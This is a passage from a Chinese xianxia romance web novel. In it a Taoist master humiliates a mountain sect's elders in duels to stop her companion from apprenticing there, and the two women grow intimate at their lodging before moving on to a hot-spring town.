傅清微周围的温度骤然下降,太阳仍挂在天顶,却没有任何热度投射进来。 鼻尖一凉,不是雨,像是雪化开。 哇。 傅清微心里刚感叹一声。 不好。 穆若水不知道她要出什么招,她也不怕她有什么绝学,但应该是要下雪,这还不得把傅清微那个没见过世面的迷死。 决不能让她看到。 穆若水当机立断,左手一掌打了过去。 晶莹雪花刚飘下几朵,灵枢子的起手式被打断,她横剑挡在身前,以为穆若水会收掌,然而对方一掌正正间间地拍在长剑中央,倾山覆海的力量顺着剑身传遍她的全身,又回到剑上。 嗡的一震,剑身悲鸣。 如果她执意不放开剑,长剑就会就此断裂。 灵枢子卸力松手,长剑脱手飞向半空,画出一道抛物线,流萤一闪,钉进地面的时候炸飞了附近所有的石砖。 场面一片死寂。 太阳重新散发出温暖。 灵枢子捡起地上的长剑,走上前来:“是晚辈输了,多谢真人手下留情。” 如果她全力一掌,恐怕剑不是脱手,而是直接断了。 穆若水扔掉了树枝,淡淡嗯了一声。 她也不想那么凶残,吓到某个人。 她目光去寻找傅清微的身影,傅清微正看着她,穆若水装作云淡风轻地收回了视线。 随后走上来的是几位长老,面面相觑了一会儿,自家掌门真的输了肯定开心不起来,但输了就是输了,穆若水怎么赢的她们都看在眼里,实力碾压有什么好说。 “晚辈见过慈让真人。”问候也都补上了。 蓬莱观立派不过百年,有名有姓的就穆若水一个,在亲眼见到她以前,那些名门有所耳闻真人的威名,毕竟也是曾经,甚至存了名不副实的轻视之心,否则当日不会有小辈敢去山上叨扰。 八十年以前,她们这些人一个也没有出生呢。 穆若水旁若无人牵起傅清微的手腕。 灵枢子看向一直接待她们的肖师侄,吩咐说:“灵秀,带真人和傅小友去住的地方安顿下来,改日我再和真人论道。” 肖灵秀垂首:“是。” 原先她只觉得好奇的面具,如今也不敢直视了。 三人一行原路离开,身后静默了许久,才爆发出窸窣的议论声。 “什么真人?哪位真人?姓什么叫什么?” “听着好像是慈让,是龙虎山哪位天师吗?那她应该叫张慈让。” “龙虎山没有名字叫慈让的天师。” “肯定是茅山上清派的,我押她是茅山现任道祖。” “是茅山道祖的话……咱们也不算太丢人。” “难道只有0个人在意掌门比武招亲输了吗?” “我我我!我第一个!” “第二!” “第三!” 董长老一根布条轰过来,弟子们作鸟兽散。 “还不快去练功,让人欺负到头上!” “是!东长老!” 众人鱼贯而出,在灿烂生辉的阳光下快步下了汉白玉台阶,身形矫健,四散而去,各自用功修行。 * 肖灵秀把她们安排到了骆驼峰。 和她的屋子隔了不远,之前是为了方便就近照顾,现在是就近听吩咐。 路上傅清微一直紧紧牵着穆若水的手腕,没有说话,但眼睛里看向她粲然的神采让穆观主很是满意。 骆驼峰看似荒山野岭从未开发,也禁止游客进入,实际上通了水电,还有网络。大道本是独行,为了方便修道,又将弟子们的住处单独隔开。 一栋栋古香古色的木屋建筑坐落在山中,清净宜人,溪水淙淙,叮叮咚咚。 傅清微随肖灵秀涉过一条小溪,踩在石子上,心中欢喜,别有一番意趣。 她扭头去看穆若水,对方隔空取了一捧溪水在手心,见傅清微望过来,兴起溅了几滴在她脸上,清凉扑面,傅清微发出轻轻的笑声。 肖灵秀:“……” 她出现在这里好多余。 观主旁若无人惯了,傅清微还是记得肖师侄在,迅速收敛笑容,若有若无地瞪了穆若水一眼。 穆若水被她胆大包天的一瞪,不仅没有生气,反而熨帖舒爽,面具下的唇角都扬了起来。 肖灵秀将二人送到后,指了指自己屋子的方位,恭敬地告了辞。 不仅是个小木屋,还用篱笆围了个小院子,篱笆结了花,院子前方有块翻好的菜地,古人“采菊东篱下,悠然见南山”,不过如此。 傅清微看了一眼菜地,种田的血脉觉醒了一秒,被她暂时压制回去,推着穆若水的肩膀快速进了屋。 关好门。 傅清微转过来,眼里的光彩比在外面何止盛百倍,星星眼不够,至少得是月亮眼,太阳眼。 穆若水在面具底下挑了挑眉。 “啊啊啊啊啊啊啊啊啊!!!” 屋顶停着的用喙梳毛的灰背燕尾一个没站稳从屋脊栽了下去,惊险地振翅飞了起来,远离了这间木屋。 傅清微顾不得穆若水在和她单方面闹别扭,激动得抱着她又叫又跳。 “好帅帅好帅好帅,怎么会那么帅。” “太厉害了啊啊啊啊啊,我要晕过去了。” 要不是刚刚在广场上要顾着给占英的师门留面子,傅清微已经冲上去了,作为比武招亲的女主角给她大大的奖励,亲她一口也不一定。 她憋了一路,总算没人可以庆祝了。 “救命,真的太厉害了。”女大想起那一幕还是激动到有点缺氧。 她把穆若水那双除了漂亮修长,其他看起来平平无奇的手捧起来,右手拿剑举重若轻,大巧不工,左手运掌惊动云雷,一掌能击退掌门,一掌也能逼她弃剑。 她居然有这份殊荣给这双手剪指甲,何其有幸! 从今往后,她要给道长剪一辈子指甲! “好厉害啊,我的道长。” 傅清微弯起来的眼睛里闪着亮亮的底色,像是欢喜到极点控制不住的泪意。 她不知道该怎么表达自己了,除了崇拜激动以外,还有别的,干脆把她两只手都贴在自己脸上。 女人的手心很凉,热意对比很明显。 穆若水:“你的脸好烫。” 傅清微看着她:“嗯。” 穆若水耳根动了动,一只手放下来摸到她左心房:“你的心跳也好快。” 傅清微依然看着她:“嗯。” “为什么?” “不好说。”大概是因为心动吧。 “尘掌门的剑术不过如此,依我之见,你不必拜她为师。”穆若水走完长长的燕国地图,曲折迂回,终于图穷匕见了。 傅清微目前的心思却不在这件事上,她伸手摸到女人耳后的红线,温柔地说:“面具摘了好吗?我想看看你。” 看在傅清微最近的表现令她满意,刚刚还大夸特夸她的份上,穆若水决定原谅她一分钟。 “好吧。”她松了口。 正要抬手自己取下,傅清微的手绕到她的脑后,灵活地解开,两手托着她的面具摘了下来。 一张仙姿佚貌久未谋面的脸映入傅清微的眼帘。 长眉入鬓、玉面桃花。 傅清微的视线自她微微闭合的唇上一扫而过,强迫自己看向别的地方。 比如她深邃如古井的眼睛。 “抱一抱我好吗?” “你不是一直在抱我吗?” “我想要你抱我。” “要求真多。”穆若水一边埋怨她一边心满意足地将她抱进怀里。 这几天戴着面具,总是担心面具的角伤到她,所以抱得都不太尽兴。 傅清微窝在她的怀里,闭上眼睛感受她比常人偏低的体温,她身上无处不在的香气,下巴若有若无地蹭着女人的颈窝。想用唇去碰,可是不敢。 穆若水:“我刚刚说的话你听见了吗?” 傅清微:“什么话?我只想着你比试的英姿,有点没集中注意力。” 穆若水一秒顺毛,温和道:“我说,尘掌门的剑术也就那样,你不必拜她为师。” 傅清微:“我们不提其他人了好不好?” 穆若水:“……好。” 不是她要拜师的吗?怎么又不提了?不提正好。 傅清微:“抱我去床上吧。” 穆若水:“啊?”大白天的她就要睡觉? 床就在站的地方不远,也是木制的,带着古韵,穆若水照做把她抱到了床边坐下,弯腰给她脱鞋,熟悉自然得仿佛做过千百遍。 她蹲下来,视线比傅清微略低一些,傅清微凑上前去,出其不意飞快地在她脸颊亲了一下。 心怦怦直跳。 她双手撑在床沿,紧紧地攥住了被子,期待又不敢看她的眼睛,看向她给自己脱鞋的手。 那双手停顿了两秒,继续动作。 傅清微并不是真的要睡觉,只是想着如果到了床上,她们躺在一起,或许自己更能鼓起勇气一点。 现在亲也亲了,就不用睡了。 “我不睡。” “哦。”穆若水直起身来,面对傅清微紧张的神情,她淡然得仿佛什么都没发生过。 直到穆若水走出屋子,傅清微抬手碰了碰自己的唇,刚刚的光滑细腻,冰凉柔滑的触感,难道又是她的幻想? 阁皂山的生活设施齐备,即便是弟子住的屋子,也配备了主卧和东厢,穆若水推开东厢的门,是一间书房,格子架上放着一些古籍,都是道教典籍。 屋子里的电灯完美融入环境,要不是开灯看到头顶的雕花木笼透出光,穆若水还发现不了那是一盏造型精美的灯。 书桌的台灯也做成了古代的样式。 院子里接了自来水,穆若水用清水洗了个手,确实比从水缸里掬水要方便。 水缸里的水是井水打上来的,本来放在厨房,她搬到院子里以后,一下雨就弄脏了。不像自来水,都在管道里,风吹不着雨淋不着。穆若水观察了一下,这里的水管是竹管,雅致不说,引来的是天然的山泉水,怪不得沁凉清爽。 穆若水来来回回把整个屋子都逛了一遍,伸手去碰去摸,表现出了前所未有的好奇心。 而傅清微坐在院子里,手捧一本书房的古籍,观察她的举动,一边想到底是不是幻觉,一边想她好像个实地考察的领导。 “你可以拍照的。”傅清微忍不住提醒了一句。 穆若水拿到手机以后,第一次主动使用相机这个功能,第一张照片贡献给了正在看书的傅清微,然后再去拍屋子的装修和陈设。 望着穆若水进屋的背影,傅清微可耻地发现自己又满足了。 算了,就当是幻觉吧,以后还有机会。 * 除了凌云峰掌门驻地以外,骆驼、太极、玉女等每峰各有一位峰主,也就是长老们。长老们姓氏不一,为了方便称呼本门弟子以东南西北中为尊称。 阁皂派门风虽散漫,但各峰关系友善,彼此也是拧成一股绳,除了忙着炼丹的北长老,其他人对新鲜血液都十分欢迎,也不吝对弟子倾囊相授。 即使上午和傅清微同行的慈让真人刚给掌门来了个下马威,当天下午肖灵秀也接到通知,南长老让傅清微去趟玉女峰,想看看她于符箓一道的天赋。 人是下午去的,场子是当场砸的。 南长老和穆若水在玉女峰斗法,符火如流星从天而坠,要不是有结界挡着,恐怕玉女峰半座山头都要烧没了。 灵宝箓冠绝天下,除了齐名的龙虎山和茅山,南长老没见过哪门哪派的符箓如此精深,但符箓为不传之秘,她也不好厚着脸皮非要看人家的。 六十多岁的南长老一声叹息:“要不是我早有师承,我都想拜真人为师。” 穆若水摆了摆手,大可不必。 南长老对傅清微说:“贫道自惭形秽,决定明日闭关,教不了你了。” 傅清微:“……” 傅清微一张符都没有画完,就跟着穆若水回去了。 【阁皂山一家人(500)】 【肖灵秀】:@占英占师叔救命啊,你请来的贵客要把咱们阁皂山给掀了 【占英】:??? 【肖灵秀】:东南西北中,包括掌门,除了北长老和云长老,全都闭关了!!! 【占英】:怎么回事?受伤了吗? 【肖灵秀】:那倒没有,但没有人主持大局了啊! 【占英】:咱们门派还有大局? 【占英】:出什么事了,会说话的往前站一步 【玉女峰弟子】:是这样嘟,占师叔 【占英】:你给我下去! 【太极峰弟子】:慈让真人每天翻一个牌子,翻到哪位长老就上门切磋,她切磋完,长老就自闭了,不是,是自己闭关修炼了 【肖灵秀】:她刚来的那天在三清殿门口和掌门打了一架,掌门输得好惨,连剑都丢了 【肖灵秀】:师叔,你上哪儿找的硬茬,就算你不满大家都躺平,也不用放条鲶鱼来卷我们吧 【占英】:…… 【占英】:等着,我明天回去 【众弟子】:这种事情不要啊!你好好在灵管局上班,我们会努力的QAQ 【占英】:行程是定好的,我正好回来主持大局:) 【众弟子】:没有,我们没有大局!QAQ 【肖灵秀】:岁长老也回来吗? 【占英】:师父很忙,哪有空回山,就我一个人 【众弟子】:好耶 占英想过傅清微带穆观主一块回山,可能会有一些意外情况发生,有傅清微在应该可控。但没想到观主把门派给挑了一遍,只切磋又不伤人,点到为止,似乎不符合她怒怒无常的性格。 占英丈二和尚,摸不着头脑。 她这几天刚好有事,没顾得上和傅清微联系,想来对方不主动找她估计就没大事。 傅清微纯粹是不知道怎么和她说。 说你好心引荐我来拜师,结果我家那谁整日翻牌子踢馆,你们门派不剩两位长老啦。 这天穆若水回来得晚,月上中天身影才出现在篱笆外,少见的低着头,不似往日得胜归来,意气风发。 袍子的衣角沾了一点灰,傅清微给她掸干净。 穆若水摘下面具,坐在她对面的竹椅里,说:“云长老的天衍阵,我替你试过了。哼,也不过如此。” 傅清微知道她今天去找了硕果仅存的二位之一——云长老,擅长梅花易数,八卦五行,一手阵法出神入化。 其实是最后一位了,北长老只会炼丹,不会打架。 穆若水这几天把所有长老都切磋了一遍,回来告诉她不过尔尔,一个个给她从拜师名单里剔除出去。 没一个她看得上的。 今天回来得那么晚,估计是在云长老那里吃了些苦头,刚刚哼的时候都咳嗽了,说不定是大苦头,好面子不说。 傅清微也不戳穿她。 “受伤了吗?” “没有,就是费了点时间。”穆若水上午出去的,被困了整整一天,要不是她心无杂念,几个幻境都以暴力破开,换成别的人不知道要困到几时。 阁皂派还是有点东西的。 灵枢子输在修为,而不是剑法。南长老的符箓,西长老的横练功夫各有所长,但她们遇到的是穆若水这个不能用常理来推断的怪物。 听说后山还有一位闭关的老祖。 不知道他想不想收傅清微为徒,想的话……也得先过她这关。 傅清微幽幽地叹了一口气。 穆若水:“怎么了?” 傅清微:“明天占科就回来了,我还没想好怎么和她交代。” 穆若水:“交代什么?” 傅清微把脸埋进她肩膀:“把人都得罪完了。” 穆若水:“是我得罪的又不是你,再说他们技不如人,我没伤他们已经是手下留情。” “嗯嗯嗯。” 傅清微在她肩窝点头如捣蒜。 穆若水不通人情世故,随意所欲,但归根究底此事还是因傅清微而起,要不是她来拜师,怎么会害得长老们纷纷闭关,虽然众弟子对此好像没什么特别的反应,还不如听说占英要回山反应大。 对她也没有任何异样的目光。 噢,还是有的,今天有位骆驼峰的弟子偶遇她,刚好穆若水去找云长老单挑不在,两人聊了好久的天。 “你和慈让真人是什么关系呀?” “她为什么不让你拜师呀?” “你为什么不拜她为师呢?” 得知她被拒绝过后,对方无言良久,疑惑地说:“你为什么不再问一次呢?” 傅清微在刚和穆若水同居的前几天问过她自己资质如何,穆若水洞察她的想法,拒绝收她为徒。 按理说穆若水如此极端行事,不让她拜任何人为师,傅清微该旧事重提再问一次,但她不太想。 一日为师终身为师,她们外表年纪相仿,平白差出一辈,总归别扭。 但修行的事也不能卡在这里。 山林静谧,冬天连蚊虫都没有,傅清微暂时抛弃杂念,仰起头看向夜空,银河的轨迹清晰可见,星辰闪烁。 “好久没有这么清楚地看到星星了。” “你喜欢这种生活吗?” “喜欢。” “如果只有我们两个人呢?” 傅清微扭头看向她,女人的脸刚好向她转过来,星河的璀璨倒映在她的眼眸里。 “很喜欢。”傅清微捏紧了手指回道,字字郑重,生怕她不相信。 “那就好。” 穆若水笑了一下。 女人伸手过去,揉了揉她的长发,将她的脑袋枕在自己肩膀上。 傅清微闻着她身上淡淡的香气,悄悄牵住了女人的衣袖。 在她为对方的近距离心动时,头顶又落下一句声音:“今晚还要我那样亲你吗?” 傅清微瞬间从头到脚地红透了。 第59章 “今晚还要我那样亲你吗?” 和穆若水这句话一起想起的, 是汹涌的记忆。 阁皂山安排的小院有主卧和书房两间,其中书房有一张单人卧榻。不算太舒适,比家里的沙发还要硬一些, 虽然铺了一条毯子, 但最多用来小憩片刻, 窗外景色宜人,就是用来躺着看风景的。 主卧有一张大床, 浅色帷幔挂在两边, 并排躺两三个人绰绰有余。 入住的第一晚,穆若水自觉占了大床, 傅清微去书房的卧榻睡了一夜, 第二天起来,她引以为傲的软如杨柳的腰都睡硬了,跟有后台似的, 直挺挺差点弯不下来。 穆若水让她躺在床上, 仰面朝下,给她好生推拿了一番才治过来。 第二天穆若水主动换到了书房。 她这人棺材都能睡,区区一张卧榻有什么大不了。 换作一个月以前, 傅清微的腰睡硬了关她什么事?最初在山上她还露天睡过墙根,最好的条件就是棺材,要不是她自己找了间屋子,穆若水能看着她睡一个月厨房灶下无动于衷。 现在的观主偶尔的, 也能为傅清微做出一些让步,比如出门在外不得已, 把条件好的床让给她。 主要是傅清微的腰坏了还要她来治, 麻烦。 人类就是脆弱。 穆观主夜里把卧榻搬到窗边,窗户支起来, 月亮又圆又大,不仅风景好,还适合修炼。 穆若水拆开蒸汽眼罩,蒙在自己的眼睛上。 一个小时后。 嘶,别说,确实有点硌。 她棺材铺得都比这张卧榻软,究竟是谁打的卧榻,硌得根本睡不着! 由奢入俭难,否则穆若水不会在有居客栈定大床和标间之间选了大床,谁会不喜欢大床?再让她回去躺棺材她也要犹豫一下。 两个小时后。 越睡越清醒的穆观主坐了起来,抬手向后按了按自己酸麻的腰背,从书房离开,堂而皇之地推门,进了傅清微的房间。 傅清微一个人睡得正香,四肢摊开,霸占了整张木床。 穆若水:“……” 原来她的睡姿是这样的啊。 穆若水伸手推在她肩膀上,傅清微连人带被子滚进了床里。 傅清微已经习惯被她从梦中推醒了,揉了揉眼睛,借着月光看她:“道长?” “嗯。” 穆若水脱了鞋上床。 傅清微脑子不清醒,迷迷糊糊:“你不是去书房了吗?” 先前她说书房不能睡,穆若水一副看不起她的样子,觉得是她身体不行,她堂堂观主,小小卧榻,区区拿捏。 亏得穆若水看出她睡蒙了,否则惹她生气又没好果子吃。 穆若水抬手蒙上她昏昏欲睡的眼,说:“书房的床坏了。” 傅清微哦了声,倒头就睡了过去。 穆若水二指捏了捏她的鼻尖,松手在她身边躺了下来。 两个人睡的傅清微十分老实……至少前十分钟是这样,后面的不提也罢。 这晚除了观主的脚被压得死死的,途中把傅清微踹回去好几次以外,没有别的意外情况发生。 第三晚。 两个人有了睡同一张床的默契。 穆若水毫无波澜,面无表情地想今晚睡觉要不要把傅清微的手脚捆起来。 傅清微心怀鬼胎,前几天梦里的活色生香在她加快的心跳声里蠢蠢欲动。 二十岁其实是个很奇妙的年龄,一方面在身体的成熟期,容易对情事产生好奇和向往,脑子里有很多活跃的想法,平时没机会还好,一旦有机会,旺盛的荷尔蒙会促使她们去发掘、了解自己的身体,偷尝禁果。 另一方面因为年轻没有太多顾忌,行事往往直接大胆。 结合起来,敢想敢做,冲动勇敢。必要时候,不顾羞耻,尤其是夜深人静,只能听到彼此呼吸的时候。 古人日落而息,大部分人早早就上床,没事干的时候就做人。 傅清微躺在穆若水身边,深刻地理解了古人。 她脑子里现在只能想到这件事。 自从那天从三清殿回来,二人顺势和好,穆若水睡觉已经不戴面具了,但还是戴着蒸汽眼罩,优越的眉弓骨被掩在眼罩下,但五官单拎出任何一部分都无损于她的美貌。 傅清微视力不如穆若水,月光给女人的鼻梁镀上一层轮廓,自鼻至唇,弧线美好的下巴。 傅清微的视线回到女人的红唇,即使月色浅淡,也能瞧出比施了胭脂还要红,忍不住让人去想,若是用指腹按上去抚一抚,唇色更深更红,该是何等的诱人。 要是能吻上这副唇,与她唇舌交缠,牡丹花下,死也值得。 怕只怕还没有吻上,已被观主立毙于掌下。 傅清微侧着身子,东想西想。 眼罩的热度已经消失了,穆若水的手长了眼睛似的蒙在傅清微眼前,说:“睡觉。” 傅清微说:“睡不着。” “为什么睡不着?”观主的声音不带情绪的时候冷冰冰。 “认床。”傅清微总不能说想你想的。 一个瞎编,一个敢信。 “认床就滚去里面,别打扰我。” “好的。” 傅清微滚去了里面,顺便扯走了大半被子,她不是故意的,一般肩膀压着被子,一滚动就出现了这种局面。 穆若水一身雪白中衣,躺在空气里。 傅清微捏着被子过来,小心翼翼地给她盖好,盖好肩膀。 “信不信我……” “你亲死我好了。” “?”穆若水说,“你说什么东西?” “没什么。”不小心但又存了两分故意把心里话说出口的傅清微收回了试探的触角。 “……”穆若水似乎深深地呼吸了一口气。 傅清微悄悄靠近她,两人的肩膀只剩下一拳的距离,她将脸侧过来,问:“道长,你为什么这两天都不咬我了?” “为什么要咬你?”阁皂山的灵气比凡间浓郁,人烟稀少,穆若水待在这里心绪宁静,这也是她几次交手都没有伤人的原因之一。 “你是不是还在生我气?” “没有。” “我不信,你得向我证明。” 穆若水的脾气快被她驯化了,这样都没有生气。 “怎么证明?” “除非你亲我一下。” 傅清微发誓她听到了穆若水的笑声,热气一瞬间席卷了年轻女人的脸。 穆若水低笑一声,问她:“这就是你不睡觉的原因?” 女大恼羞成怒:“亲不亲?” “你也是胆子大了。”女人的声音听不出喜怒。 下一秒,穆若水闭着眼把她搂过来,本来是想亲她脖子的,因为戴着眼罩准头没找好,亲在了她下巴上。 傅清微暗恨自己没有再低一点头,这样就能亲到她嘴上。 “能不能再……” “不要得寸进尺。” “好吧,那我能睡你怀里吗?” 穆若水太阳穴的青筋跳了一下。 傅清微识趣地滚了回去,紧紧地闭上眼睛:“晚安。” 第二天比平时更早的醒过来,她发现观主腰间自己解不开的那条腰带捆在她的脚踝上。 怎么不算是一种情趣play呢? 傅清微像条美人鱼一样侧卧在床上,看着穆若水解下绑住她双脚的腰带,束在自己腰间,着重观察了一番过程,以备不时之需。 第四晚。 满脑子想和观主亲近一下的黄色废料的傅清微实在坐不住了。 这几天穆若水千方百计阻止她拜师,每次刚有位长老叫她过去学艺,她就砸了人家场子,长老纷纷当场宣布闭关,教不了她。 导致傅清微来阁皂派已经四天了,整日游手好闲,比阁皂派的弟子还咸鱼。 她总不能事业爱情都不顺吧。 傅清微下定决心,当天下午把穆若水的指甲剪了。 穆若水蹲在地上看竹管引的泉水,回头:“昨天不是刚剪,怎么又要剪?” 傅清微:“剪不剪?” 穆若水:“……剪。” 目前这是傅清微少数不多能占上风的事。 “过来。” 穆若水站起身,从廊下走过来。 傅清微搬了椅子到院子里,和她坐在一起,捧着她的手给她剪指甲,想起她前几日风光大败掌门,对观主的滤镜又上来了,温柔细心,神情专注。 穆若水有意无意:“你最近对我越发不敬了。” 傅清微心里有怨:“你对我就很好了?” 穆若水:“我对你哪里不好?” 傅清微:“对我好就是把所有长老都打自闭了?” 穆若水没话说了。 好半天才咕哝出一句:“那是他们技不如人。” 她自己也知道理亏,所以声音特别小。 傅清微懒得跟她计较,剪完又用锉刀磨了一遍,在自己手背试验地划了划,检验成果。 就算今晚不能真的爽到,她也先从剪指甲的过程里脑补爽到了。 一日三餐有阁皂派的弟子送来,用不着穆若水亲自下厨,冬天天黑得早,晚饭也吃得早,六点半就把碗筷收走了。 穆若水非常喜欢山里的环境,几乎不怎么待在屋内,现下正负手在院子里赏月。 月朗星稀。 耳边传来傅清微的洗澡声。 专门的浴堂不建在主卧里,而是在厢房边上,一间小小的格子间。寒冬腊月,大概是为了锻炼弟子的体魄,免得洗完澡偷懒直接钻被窝。 格子间里热气四溢,傅清微站在仿古的浴堂里,在水声的间歇中能听到山里的虫鸣,还有院子里响起的脚步声。 脚步声本来离她很远,后来渐渐地近了。 傅清微推开浴堂的门,因为来之前没有想到,所以她没有带厚睡衣,只是把大衣披在外面,里面穿的是布料最少的一身睡衣。 傅清微抬起眼帘,穆若水果然站在不远的地方,本能地朝她弯唇一笑。 最近笑的次数也变多了。 傅清微来到她的身前,大衣领口低,她雪白脖颈和锁骨一片的皮肤都露出来,透着饱含水汽的淡粉。 “闻一闻?” 穆若水凑近闻了,说出那句熟悉的台词:“你好香。” 傅清微从耳根往下,一直延伸到肩膀的肌肤变成了浅浅的粉红色。 “去洗澡。” “好。” 傅清微本来想直接拉着她的手腕进门,虽然观主每次说出这句话都会有事发生,但是她还是希望能彼此都洗完澡以后,清清爽爽地抱在一起亲密。 白天穆若水和西长老打了一架,半座宫殿都毁了,尘土飞扬,不少都沾在身上了。 穆若水去洗澡了,傅清微在卧室里两手交握,做心理准备。 吱呀—— 不到七点半,房间里的灯就熄了,冬天天黑得早,窗户再一关,连月色都朦胧。 穆若水推门而入,见到床沿坐着一道修长姣好的身影。 她双眼视物如白日,看清是傅清微,问她:“怎么关灯了?” “没。”傅清微答得驴唇不对马嘴,天黑看不清,待她走近了才辨出她衣冠整齐,连外袍都没脱。 ——没关系,她应该已经学会怎么解了。 穆若水走到她面前,傅清微抬手一颗一颗地解大衣的扣子,把自己脆生生剥了出来,上身只有件白色小吊带,胳膊肩膀都露在外面。 温暖肌肤甫一接触到冰冷的空气,浮起一层细小的颗粒,都落进穆若水眼中。 她站起来,拉着穆若水的手放在自己腰上,指尖都在抖。 好在只需要这么一下,穆若水的手掌就自动贴紧她的侧腰。 穆若水:“怎么?”她连了字都忘了。 傅清微把自己贴近她胸口:“你闻一闻。” 穆若水如她所愿当晚第二次说出那句经典的台词:“你好香。” 之后就开始了。 噬咬的感觉一寸寸传达到皮肤,傅清微抱着她的脑袋,两手穿过女人冰凉的发丝,挺直了身体,迎合她的唇齿,从一边换到另一边。 她被放到了床上,女人重新埋首在她的脖子里,乌瀑一样的发丝垂落,落在她的锁骨和肩膀,细细的痒意。 傅清微曲线优美的颈项往后仰,来回抚弄女人的耳朵,冰冷的玉也染上了体温。 穆若水的呼吸并不太急,只有傅清微的鼻息乱得不像话,嘴巴也张着,哼哼呜呜,埋进枕头半张脸。 某个时刻她把脸转过来,正面看着她。 她说:“你亲亲我。” 穆若水低头亲了一下粉红色的她。 傅清微瑟缩,两只手捧起她的脸,抬上来,两人的视线平齐,她的眼睫垂下来,盯着穆若水的唇。 任谁都能读懂她的暗示。 穆若水在黑暗里和她错开视线,将吻落在下方别处,重重地吮吻。 傅清微深喘了一口气,差点呼吸不上来,本能地抱紧了她,情不自禁地在她耳边吐露声音。 穆若水撩开她颈间的长发,从烈火到温水,一点一点熨平她心脏的皱褶,傅清微沉浸在这种细腻的温情里,以指作梳,梳理着女人背后柔顺的长发。 另一只手暗中摸到她的腰带。 按住腰扣,回忆细节,再……再之后她的手就被捉住了。 傅清微:“……” 穆若水在这种时候一向话少,傅清微不命令她,她就遵照原先的指令。 轻车熟路。 傅清微被她亲得头皮发麻,蜷缩在她怀里颤抖,哭泣的声音断断续续,和上一次相比,除了温存的时间长了些,并没有好到哪里去。 “还要亲吗?” “不要了。” 傅清微在被子里并了并自己的腿。 “我待会去洗个澡。” “嗯。” 穆若水抱了她许久,等她主动表示可以了,才开了窗户,兀自推门出了房间。 她转身进书房,躺平在卧榻上,宛如电量耗尽一动不动。 如果经脉可以被看见,就会发现她的血液在快速地流过全身,体温也在逐渐升高,刚刚还辛勤工作过的唇瓣更是透出血一样的妖红,眼尾染了胭脂一般,慵懒妖冶,容色愈发明艳夺目。 她不得不以静止的方式来让自己的血液降温,神情惫懒,看起来疲倦至极。 当然也有第二种方法,傅清微暂时承受不住。 她也不打算那么做。 …… 当天晚上八点多傅清微就睡了。 作息混乱的结果是她半夜就醒了,后半夜两三点,睁眼的时候穆若水已经睡熟了。 傅清微不知道自己是怎么想的,竟做出趁人之危之事,倾身过去,捧起自己送到女人唇边。 还绕着她的唇形画圈,忽远忽近,侵入她的唇齿,回想起来都无地自容。 好在穆若水似乎没醒,一点反应都没有。 傅清微这才能挽回一点点颜面。 她小心翼翼地躺了回去,甚至不敢和先前一样同她枕一个枕头。 穆若水等了许久,身边的呼吸声渐渐均匀平稳。 她摘下眼罩,看了看枕边的人。 回想起她一边喂进自己的唇,一边压抑的喘,终究还是叹了口气。 在傅清微无意滚进她怀里后,再一次放纵。 傅清微终于睁开眼睛,却发不出成句的字节,浪潮里浮沉。 夜晚长得无边无际。 * “今晚还要我那样亲你吗?” “要。” 即使发生了如此羞于见人的事,傅清微也第一时间回答了她。 不要是不可能的。 不知道是不是她的错觉,穆若水平静无波的神情里浮现出淡淡的疲倦,快得抓不住。 凭傅清微一己之力升温的房间里,穆若水雨露均沾地服侍完她,脸不红气不喘,揉了揉她的长发,说:“我会为你找一位天下无双的师父。” “啊?” 傅清微还沉浸在余韵里,不明白她怎么突然提到这件事。 “你不是只请了一周的假?” “是。” “今天是第六天。” “其实学校不回也可以,我还没陪你泡温泉呢。” “就明天吧。” “明天就离开?” “嗯。”穆若水说,“你不是不知道怎么和占英交代?走就是了。” “……” 怎么不算一种处理办法呢? 穆若水说:“明日之后,她不敢对你做什么。” 傅清微心想:有你在,哪一日她也不敢对我做什么啊。 她休息得差不多,穆若水问她:“还要不要?” 傅清微摇头。 连着两天了,她也没那么欲求不满。再说观主只停留在第一次的阶段,一点也不往下,再这样下去她又要不敏感了。 穆若水接下来说了一句她听不懂的话:“今晚是最后一次。” “什么最后一次?” “睡吧。” 穆若水不由分说盖住她的眼睛。 傅清微心想难道是最后一次亲她?可是为什么?以及只要自己洗个澡往她身旁一凑,她能把持得住? 返魂香的气味侵袭上来,傅清微昏睡了过去。 穆若水戴上眼罩,终于睡了进山后第一个安稳觉。 * 穆若水想不告而别,傅清微却不可以,因为掌门和长老都闭关了,所以她告诉了占英和肖灵秀,她们俩要提前离开。 对占英她还告知了去向,她们俩去了温泉小镇。 阁皂山的小院子有晾衣架,是傅清微的大救星,要是没有晾衣服的地方,她这一周还不知道要怎么过。为了引人耳目,主要是迷惑观主,傅清微几乎把自己大衣以外的衣服都洗了,几条随风飘荡的内裤藏在中间不显眼。 傅清微飞速地收了内衣裤,整理进行李箱。 观主又在外面看风景,傅清微趁机到卫生间照镜子,两边终于一样大了! 接下来的目标是……变大一点? 观主只动嘴不动手,傅清微明明教过她,虽然好像是在梦里,也暗示过她什么都可以,但她不知道为什么就是不动手。 傅清微的电话响了。 她接起来。 穆若水催她:“还没收拾好吗?” 傅清微:“来了。” 明明就在门里,她也懒得过来叫她一句,傅清微怀疑她根本不知道叫她什么。 吵架的时候叫全名,吵架之前叫喂。 现在觉得喂不好,干脆不叫了。 她倒要看看她什么时候给她新称呼。 宝贝也不是不能接受。 * 肖灵秀受占英的命,一条龙服务把她们送到温泉小镇的目的地,有山明月温泉别庄。 傅清微身怀巨款,咬咬牙订了一间包含私汤的套房,日式风格,也是一座单独的小院,门边挂着木牌。 贵是贵,但是人少清净,几乎听不到酒店其他客人的声音。 穆若水一走进来,罕见露出淡淡的笑意,眉眼漂亮得不像话,傅清微就知道这笔钱花得值了。 她不知道穆若水的笑意并非因为院子,至少一大部分原因不是。 因为她不喜生人,只有傅清微陪她进来,拉开了移门。 穆若水在几旁盘腿坐下,问:“有茶水吗?” 傅清微连忙说:“我去叫。” 客房服务员很快端来茶,在傅清微的事前授意下没有多说就下去了。 穆若水说:“给我倒茶。” 傅清微为她服务惯了,起初并未多想,她倒了杯热茶双手捧过去。 穆若水双手接了,意外地郑重。 傅清微一怔。 女人平静地说:“跪下吧,给我磕三个响头。” 第60章 起初穆若水只想陪伴保护她一世, 她将傅清微视作自己的所有物。 作为交换,她提供保护,对方需对她言听计从, 偶尔允许她有小小的以下犯上, 比如言语不清的暧昧, 口头顶撞,用眼泪要挟她, 在她心情好的时候她愿意大发慈悲地原谅她。 ——即使以上傅清微并不知晓, 只是隐隐察觉她们之间的不平等。 穆观主高高在上,不屑于将任何人放在眼里, 睥睨的目光永远自上而下, 俯视众生。 傅清微本可以做她的笼中雀,掌中娇,她漂亮温柔, 多么讨观主的喜欢, 